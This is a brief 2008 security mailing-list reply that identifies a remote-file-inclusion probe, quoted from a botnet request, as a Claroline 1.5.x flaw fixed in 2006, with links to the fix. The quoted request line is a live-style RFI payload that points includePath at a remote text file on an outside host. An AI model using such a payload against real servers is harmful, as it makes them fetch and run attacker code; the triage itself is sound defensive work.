[VIM] RFI BotNet and phpBB 0-day?

[George A. Theall]

On Mar 20, 2008, at 6:04 AM, security curmudgeon wrote:

> /claroline/phpbb/page_tail.php?includePath=http://www.cypcaribbean.org/cyp/phpBB/images/smiles/id2.txt%3f%3f

Looks like an issue in Claroline 1.5.x fixed with the release of 1.5.5  
back in 2006:

http://claroline.svn.sourceforge.net/viewvc/claroline?view=rev&revision=6566
http://claroline.svn.sourceforge.net/viewvc/claroline/branches/1.5/README.txt?revision=6567&view=markup

George
-- 
theall at tenablesecurity.com